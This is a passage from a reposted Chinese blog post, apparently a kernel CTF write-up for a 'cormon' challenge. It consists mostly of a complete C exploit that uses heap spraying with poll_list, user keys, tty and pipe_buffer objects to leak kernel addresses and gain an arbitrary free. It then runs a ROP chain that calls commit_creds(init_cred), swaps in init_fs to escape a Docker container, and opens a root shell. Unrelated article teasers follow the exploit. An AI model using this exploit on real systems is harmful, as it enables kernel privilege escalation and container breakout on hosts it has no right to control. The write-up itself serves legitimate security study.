具体实现为修改 task_structfs 指向 init_fs 。用 find_task_by_vpid() 来定位Docker容器任务,我们用switch_task_namespaces()。但这还不足以从容器中逃逸。在Docker容器中,setns()seccomp默认屏蔽了,我们可以克隆 init_fs 结构,然后用find_task_by_vpid()定位当前任务,用 gadget 手动安装新fs_struct

    // commit_creds(&init_creds)
    *rop++ = pop_rdi_ret;
    *rop++ = init_cred;
    *rop++ = commit_creds;

    // current = find_task_by_vpid(getpid())
    *rop++ = pop_rdi_ret;
    *rop++ = getpid();
    *rop++ = find_task_by_vpid;

    // current->fs = &init_fs
    *rop++ = pop_rcx_ret;
    *rop++ = 0x6e0;
    *rop++ = add_rax_rcx_ret;
    *rop++ = pop_rbx_ret;
    *rop++ = init_fs;
    *rop++ = mov_mmrax_rbx_pop_rbx_ret;
    rop++;

exp

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>

#define PAGE_SIZE 0x1000

int randint(int min, int max) {
    return min + (rand() % (max - min));
}

void bind_core(bool fixed, bool thread) {
    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
    if (thread) {
        pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
    } else {
        sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    }
}

void qword_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("[*] %s:\n", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

bool is_kernel_text_addr(size_t addr) {
    return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFFFEFFFFFF;
//    return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFF9FFFFFFF;
}

bool is_dir_mapping_addr(size_t addr) {
    return addr >= 0xFFFF888000000000 && addr <= 0xFFFFc87FFFFFFFFF;
}

#define INVALID_KERNEL_OFFSET 0x1145141919810

const size_t kernel_addr_list[] = {
        0xffffffff813275c0,
        0xffffffff812d4320,
        0xffffffff812d4340,
        0xffffffff812d4330
};

size_t kernel_offset_query(size_t kernel_text_leak) {
    if (!is_kernel_text_addr(kernel_text_leak)) {
        return INVALID_KERNEL_OFFSET;
    }
    for (int i = 0; i < sizeof(kernel_addr_list) / sizeof(kernel_addr_list[0]); i++) {
        if (!((kernel_text_leak ^ kernel_addr_list[i]) & 0xFFF)
            && (kernel_text_leak - kernel_addr_list[i]) % 0x100000 == 0) {
            return kernel_text_leak - kernel_addr_list[i];
        }
    }
    printf("[-] unknown kernel addr: %#lx\n", kernel_text_leak);
    return INVALID_KERNEL_OFFSET;
}

size_t search_kernel_offset(void *buf, int len) {
    size_t *search_buf = buf;
    for (int i = 0; i < len / 8; i++) {
        size_t kernel_offset = kernel_offset_query(search_buf[i]);
        if (kernel_offset != INVALID_KERNEL_OFFSET) {
            printf("[+] kernel leak addr: %#lx\n", search_buf[i]);
            printf("[+] kernel offset: %#lx\n", kernel_offset);
            return kernel_offset;
        }
    }
    return INVALID_KERNEL_OFFSET;
}

size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}

typedef struct {
    int nfds, timer;
} poll_args;

struct poll_list {
    struct poll_list *next;
    int len;
    struct pollfd entries[];
};

pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
size_t poll_threads, poll_cnt;

void *alloc_poll_list(void *args) {
    int nfds = ((poll_args *) args)->nfds;
    int timer = ((poll_args *) args)->timer;

    struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));
    for (int i = 0; i < nfds; i++) {
        pfds[i].fd = open("/etc/passwd", O_RDONLY);
        pfds[i].events = POLLERR;
    }

    bind_core(true, true);

    pthread_mutex_lock(&mutex);
    poll_threads++;
    pthread_mutex_unlock(&mutex);
    poll(pfds, nfds, timer);

    bind_core(false, true);

    pthread_mutex_lock(&mutex);
    poll_threads--;
    pthread_mutex_unlock(&mutex);
}

#define N_STACK_PPS 30
#define POLL_NUM 0x1000

pthread_t poll_tid[POLL_NUM];

void create_poll_thread(size_t size, int timer) {
    poll_args *args = calloc(1, sizeof(poll_args));
    args->nfds = 
        (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd)
        + N_STACK_PPS;
    args->timer = timer;
    pthread_create(&poll_tid[poll_cnt++], 0, alloc_poll_list, args);
}

void wait_poll_start() {
    while (poll_threads != poll_cnt);
}

void join_poll_threads(void (*confuse)(void *), void *confuse_args) {
    for (int i = 0; i < poll_threads; i++) {
        pthread_join(poll_tid[i], NULL);
        if (confuse != NULL) {
            confuse(confuse_args);
        }
    }
    poll_cnt = poll_threads = 0;
}

struct callback_head {
    struct callback_head *next;

    void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));

#define rcu_head callback_head
#define __aligned(x)                    __attribute__((__aligned__(x)))
typedef unsigned long long u64;

struct user_key_payload {
    struct rcu_head rcu;        /* RCU destructor */
    unsigned short datalen;    /* length of this data */
    char data[0] __aligned(__alignof__(u64)); /* actual data */
};

#define KEY_NUM 199
int key_id[KEY_NUM];

int key_alloc(int id, void *payload, int payload_len) {
    char description[0x10] = {};
    sprintf(description, "%d", id);
    return key_id[id] = 
        syscall(__NR_add_key, "user", description, payload, 
                payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int id, void *payload, size_t plen) {
    return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}

int key_read(int id, void *bufer, size_t buflen) {
    return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}

int key_revoke(int id) {
    return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
}

int key_unlink(int id) {
    return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}

struct list_head {
    struct list_head *next, *prev;
};
struct tty_file_private {
    struct tty_struct *tty;
    struct file *file;
    struct list_head list;
};

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

struct pipe_bufer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};

struct pipe_buf_operations {
    int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);
    void (*release)(struct pipe_inode_info *, struct pipe_bufer *);
    int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);
    int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
};

void get_shell(void) {
    char *args[] = {"/bin/bash", "-i", NULL};
    execve(args[0], args, NULL);
}

#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024

int cormon_fd;
char buf[0x20000];

void seq_confuse(void *args) {
    open("/proc/self/stat", O_RDONLY);
}

size_t push_rsi_pop_rsp_ret = 0xFFFFFFFF817AD641;
size_t pop_rdi_ret = 0xffffffff8116926d;
size_t init_cred = 0xFFFFFFFF8245A960;
size_t commit_creds = 0xFFFFFFFF810EBA40;
size_t pop_r14_pop_r15_ret = 0xffffffff81001615;
size_t find_task_by_vpid = 0xFFFFFFFF810E4FC0;
size_t init_fs = 0xFFFFFFFF82589740;
size_t pop_rcx_ret = 0xffffffff8101f5fc;
size_t add_rax_rcx_ret = 0xffffffff8102396f;
size_t mov_mmrax_rbx_pop_rbx_ret = 0xffffffff817e1d6d;
size_t pop_rbx_ret = 0xffffffff811bce34;
size_t swapgs_ret = 0xffffffff81a05418;
size_t iretq = 0xffffffff81c00f97;

int main() {
    bind_core(true, false);
    save_status();
    signal(SIGSEGV, (void *) get_shell);

    cormon_fd = open("/proc_rw/cormon", O_RDWR);
    if (cormon_fd < 0) {
        perror("[-] failed to open cormon.");
        exit(-1);
    }
    
    size_t kernel_offset;
    int target_key;
    puts("[*] Saturating kmalloc-32 partial slabs...");

    int seq_fd[SEQ_NUM];
    for (int i = 0; i < SEQ_NUM; i++) {
        seq_fd[i] = open("/proc/self/stat", O_RDONLY);
        if (seq_fd[i] < 0) {
            perror("[-] failed to open stat.");
            exit(-1);
        }
        if (i == 2048) {
            puts("[*] Spraying user keys in kmalloc-32...");
            for (int j = 0; j < KEY_NUM; j++) {
                setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);
                key_alloc(j, buf, 32);
                if (j == 72) {
                    bind_core(false, false);
                    puts("[*] Creating poll threads...");
                    for (int k = 0; k < 14; k++) {
                        create_poll_thread(
                            PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd), 
                            3000);
                    }
                    bind_core(true, false);
                    wait_poll_start();
                }
            }
            puts("[*] Corrupting poll_list next pointer...");
            write(cormon_fd, buf, PAGE_SIZE);
            puts("[*] Triggering arbitrary free...");
            join_poll_threads(seq_confuse, NULL);
            puts("[*] Overwriting user key size / Spraying seq_operations structures...");
        }
    }
    puts("[*] Leaking kernel pointer...");

    for (int i = 0; i < KEY_NUM; i++) {
        int len = key_read(i, buf, sizeof(buf));
        kernel_offset = search_kernel_offset(buf, len);
        if (kernel_offset != INVALID_KERNEL_OFFSET) {
            qword_dump("dump leak memory", buf, 0x1000);
            target_key = i;
            break;
        }
    }
    if (kernel_offset == INVALID_KERNEL_OFFSET) {
        puts("[-] failed to leak kernel offset,try again.");
        exit(-1);
    }

    push_rsi_pop_rsp_ret += kernel_offset;
    pop_rdi_ret += kernel_offset;
    init_cred += kernel_offset;
    commit_creds += kernel_offset;
    pop_r14_pop_r15_ret += kernel_offset;
    find_task_by_vpid += kernel_offset;
    init_fs += kernel_offset;
    pop_rcx_ret += kernel_offset;
    add_rax_rcx_ret += kernel_offset;
    mov_mmrax_rbx_pop_rbx_ret += kernel_offset;
    pop_rbx_ret += kernel_offset;
    swapgs_ret += kernel_offset;
    iretq += kernel_offset;

    puts("[*] Freeing user keys...");
    for (int i = 0; i < KEY_NUM; i++) {
        if (i != target_key) {
            key_unlink(i);
        }
    }
    sleep(1);

    puts("[*] Spraying tty_file_private / tty_struct structures...");
    int tty_fd[TTY_NUM];
    for (int i = 0; i < TTY_NUM; i++) {
        tty_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
        if (tty_fd[i] < 0) {
            perror("[-] failed to open ptmx");
        }
    }

    puts("[*] Leaking heap pointer...");

    size_t target_object = -1;
    int len = key_read(target_key, buf, sizeof(buf));
    qword_dump("dump leak memory", buf, 0x1000);
    for (int i = 0; i < len; i += 8) {
        struct tty_file_private *head = (void *) &buf[i];
        if (is_dir_mapping_addr((size_t) head->tty) && !(((size_t) head->tty) & 0xFF)
            && head->list.next == head->list.prev && head->list.prev != NULL) {
            qword_dump("leak tty_struct addr from tty_file_private", &buf[i], 
                       sizeof(struct tty_file_private));
            target_object = (size_t) head->tty;
            printf("[+] tty_struct addr: %p\n", target_object);
            break;
        }
    }
    if (target_object == -1) {
        puts("[-] failed to leak tty_struct addr.");
        exit(-1);
    }

    puts("[*] Freeing seq_operation structures...");
    for (int i = 2048; i < SEQ_NUM; i++) {
        close(seq_fd[i]);
    }

    bind_core(false, false);

    puts("[*] Creating poll threads...");
    for (int i = 0; i < 192; i++) {
        create_poll_thread(sizeof(struct poll_list) + sizeof(struct pollfd), 3000);
    }

    bind_core(true, false);

    wait_poll_start();

    puts("[*] Freeing corrupted key...");
    key_unlink(target_key);
    sleep(1); // GC key

    puts("[*] Overwriting poll_list next pointer...");
    char key[32] = {};
    *(size_t *) &buf[0] = target_object - 0x18;

    for (int i = 0; i < KEY_NUM; i++) {
        setxattr("/tmp/exp", "aaaaaa", buf, 32, XATTR_CREATE);
        key_alloc(i, key, 32);
    }

    puts("[*] Freeing tty_struct structures...");
    for (int i = 0; i < TTY_NUM; i++) {
        close(tty_fd[i]);
    }

    sleep(1); // GC TTYs
    int pipe_fd[PIPE_NUM][2];
    puts("[*] Spraying pipe_bufer structures...");
    for (int i = 0; i < PIPE_NUM; i++) {
        pipe(pipe_fd[i]);
        write(pipe_fd[i][1], "aaaaaa", 6);
    }

    puts("[*] Triggering arbitrary free...");
    join_poll_threads(NULL, NULL);


    ((struct pipe_bufer *) buf)->ops = (void *) (target_object + 0x300);
    ((struct pipe_buf_operations *) &buf[0x300])->release = (void *) push_rsi_pop_rsp_ret;


    size_t *rop = (size_t *) buf;

    *rop++ = pop_r14_pop_r15_ret;
    rop++;
    rop++; // ops

    // commit_creds(&init_creds)
    *rop++ = pop_rdi_ret;
    *rop++ = init_cred;
    *rop++ = commit_creds;

    // current = find_task_by_vpid(getpid())
    *rop++ = pop_rdi_ret;
    *rop++ = getpid();
    *rop++ = find_task_by_vpid;

    // current->fs = &init_fs
    *rop++ = pop_rcx_ret;
    *rop++ = 0x6e0;
    *rop++ = add_rax_rcx_ret;
    *rop++ = pop_rbx_ret;
    *rop++ = init_fs;
    *rop++ = mov_mmrax_rbx_pop_rbx_ret;
    rop++;

    // back to user
    *rop++ = swapgs_ret;
    *rop++ = iretq;
    *rop++ = (uint64_t) get_shell;
    *rop++ = user_cs;
    *rop++ = user_rflags;
    *rop++ = user_sp;
    *rop++ = user_ss;

    puts("[*] Spraying ROP chain...");
    for (int i = 0; i < 31; i++) {
        key_alloc(i, buf, 1024);
    }

    puts("[*] Hijacking control flow...");
    for (int i = 0; i < PIPE_NUM; i++) {
        close(pipe_fd[i][0]);
        close(pipe_fd[i][1]);
    }

    sleep(5);

    return 0;
}

多试几次还是可以成功的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2238483.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【算法一周目】双指针(1)

目录 1.双指针介绍 2.移动零 解题思路 C代码实现 3.复写零 解题思路 C代码实现 4.快乐数 解题思路 C代码实现 5.盛水最多的容器 解题思路 C代码实现 1.双指针介绍 常见的双指针有两种形式&#xff0c;一种是对撞指针&#xff0c;一种是快慢指针。 对撞指针&#x…

VS2022项目配置笔记

文章目录 $(ProjectDir&#xff09;与 $(SolutionDir) 宏附加包含目录VC目录和C/C的区别 $(ProjectDir&#xff09;与 $(SolutionDir) 宏 假设有一个解决方案 MySolution&#xff0c;其中包含两个项目 ProjectA 和 ProjectB&#xff0c;目录结构如下&#xff1a; C:\Projects\…

万字长文解读机器学习——决策树

&#x1f33a;历史文章列表&#x1f33a; 机器学习——损失函数、代价函数、KL散度机器学习——特征工程、正则化、强化学习机器学习——常见算法汇总机器学习——感知机、MLP、SVM机器学习——KNN机器学习——贝叶斯机器学习——决策树机器学习——随机森林、Bagging、Boostin…

Kotlin约束泛型参数必须继承自某个父类

Kotlin约束泛型参数必须继承自某个父类 open class SuperData { }class DataA : SuperData {constructor() {println("DataA constructor")} }class DataB : SuperData {constructor() {println("DataB constructor")} }fun <T : SuperData> myfun(p…

Spring挖掘: (事务篇)

谈到事务,我们就绕不开事务的ACID四大特性,我们先来简单介绍一下何为事务 一. 概念 事务是数据库操作的最小工作单元&#xff0c;作为单个逻辑工作单元执行的一系列操作。这些操作作为一个整体一起向系统提交&#xff0c;要么都执行、要么都不执行。事务是一组不可再分割的操作…

Information Server 中共享开源服务中 kafka 的__consumer_offsets目录过大清理

1,11.7新版本的 IBM InfoSphere Information Server 将 Apache Kafka、Solr 和 ZooKeeper 安装在<ISHOME>服务层的 /shared-open-source 目录中。 默认情况下&#xff0c;共享开源中的 Kafka 对 __consumer_offsets 主题使用“压缩”日志清理策略&#xff0c;这可能会导…

Linux系统程序设计--2. 文件I/O

文件I/O 标准C的I/O FILE结构体 下面只列出了5个成员 可以观察到&#xff0c;有些函数没有FILE类型的结构体指针例如printf主要是一些标准输出&#xff0c;因为其内部用到了stdin&#xff0c;stdout&#xff0c;stderr查找文件所在的位置:find \ -name stat.h查找头文件所…

linux网络的基本设置

1、查看网络接口信息 ip a/ip addr #简略的查看网络接口信息 ifconfig #只显示当前活跃的设备 ifconfig -a #实现当前主机的所有网络设备&#xff0c;包括未运行的设备 rootubuntu1:~# ifconfig ens33:flags4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 设备名…

利用AI制作《职业生涯规划PPT》,10分钟完成

职业生涯规划是大学生活中非常重要的一环。通过制定职业规划&#xff0c;你能够明确未来的职业目标、认清自身的优劣势&#xff0c;进而制定切实可行的计划&#xff0c;以便顺利踏上职业发展的道路。而制作一份精美的职业生涯规划PPT&#xff0c;能有效帮助你在面试、职业规划报…

【数据结构与算法】希尔排序(直接插入排序)

大家好&#xff0c;我是小卡皮巴拉 文章目录 目录 引言 一.直接插入排序的基本思想 二. 直接插入排序算法解析 详细版本的算法思想解析 算法思想提炼 实现代码 画图刨析 三. 直接插入排序的特性 复杂度分析 稳定性分析 四. 希尔排序的基本思想 五. 希尔排序算法解…

RK3568 Android12跳过认证 预置谷歌服务GMS

在Rom开发中需要发布海外版本时基本都需要内置google服务,而规范方式集成的话都需要设备进行认证,获取google应用签名等非常复杂的一套流程,一般大厂才有这些资质和资源,这里介绍一种非常规方式集成GMS,跳过设置认证流程,在RK3568 android12环境亲测有效。 谷歌全家桶中…

深度学习之卷积问题

1 卷积在图像中有什么直观作用 ​ 在卷积神经网络中&#xff0c;卷积常用来提取图像的特征&#xff0c;但不同层次的卷积操作提取到的特征类型是不相同的&#xff0c;特征类型粗分如表1所示。 ​ 表1 卷积提取的特征类型 卷积层次特征类型浅层卷积边缘特征中层卷积局部特征深…

Go语言的内置容器

文章目录 一、数组数组的定义数组声明数组特点数组元素修改 二、切片切片声明基于数组创建切片使用make()函数构造切片使用append()为切片动态添加元素\使用copy()复制新的切片数组与切片相互转换 三、Map映射Map定义使用make()函数创建map用切片作为map的值使用delete()函数删…

二叉树的各种操作补充

二叉树的各种操作补充 求二叉树的结点数求二叉树的叶结点数求二叉树的高度求二叉树的第k层结点数查找指定结点层序遍历判断二叉树是否是完全二叉树 我们任然沿用二叉树的基本信息&#xff1a; typedef char BTDataType; typedef struct BinaryTreeNode {BTDataType _data;struc…

Go语言的常用内置函数

文章目录 一、Strings包字符串处理包定义Strings包的基本用法Strconv包中常用函数 二、Time包三、Math包math包概述使用math包 四、随机数包&#xff08;rand&#xff09; 一、Strings包 字符串处理包定义 Strings包简介&#xff1a; 一般编程语言包含的字符串处理库功能区别…

Perfetto中如何使用SQL语句

在使用 Perfetto 分析 Android 性能时&#xff0c;可以通过 Perfetto 提供的内置 SQL 查询来提取和分析不同的性能数据。Perfetto 允许你在 UI 界面或命令行中运行 SQL 查询&#xff0c;提取出 Trace 数据中包含的各种性能信息&#xff0c;比如 CPU 使用率、线程状态、内存分配…

QML项目实战:自定义TextField

目录 一.添加模块 import QtQuick.Controls 1.2 import QtQuick.Controls.Styles 1.4 import QtGraphicalEffects 1.15 二.自定义TextField 1.属性设置 2.输入框设置 3.按钮开关 三.效果 1.readonly为false 2.readonly为true 四.代码 一.添加模块 import QtQuick.…

【进阶】Stable Diffusion 插件 Controlnet 安装使用教程(图像精准控制)

Stable Diffusion WebUI 的绘画插件 Controlnet 最近更新了 V1.1 版本&#xff0c;发布了 14 个优化模型&#xff0c;并新增了多个预处理器&#xff0c;让它的功能比之前更加好用了&#xff0c;最近几天又连续更新了 3 个新 Reference 预处理器&#xff0c;可以直接根据图像生产…

DAF-FM DA与NO反应后,生成的产物能够发出强烈的绿色荧光,254109-22-3

一、基本信息 产品名称&#xff1a;DAF-FM DA&#xff08;一氧化氮NO荧光探针DAF-FM&#xff09; 英文名称&#xff1a;DAF-FM DA&#xff0c;DAF-FM diacetate CAS号&#xff1a;254109-22-3 分子式&#xff1a;C25H18F2N2O7 供应商&#xff1a;陕西新研博美生物科技 分…

在 Mac 和 Windows 系统中快速部署 OceanBase

OceanBase 是一款分布式数据库&#xff0c;具备出色的性能和高扩展性&#xff0c;可以为企业用户构建稳定可靠、灵活扩展性能的数据库服务。本文以开发者们普遍熟悉的Windows 或 Mac 环境为例&#xff0c;介绍如何快速上手并体验OceanBase。 一、环境准备 1. 硬件准备 OceanB…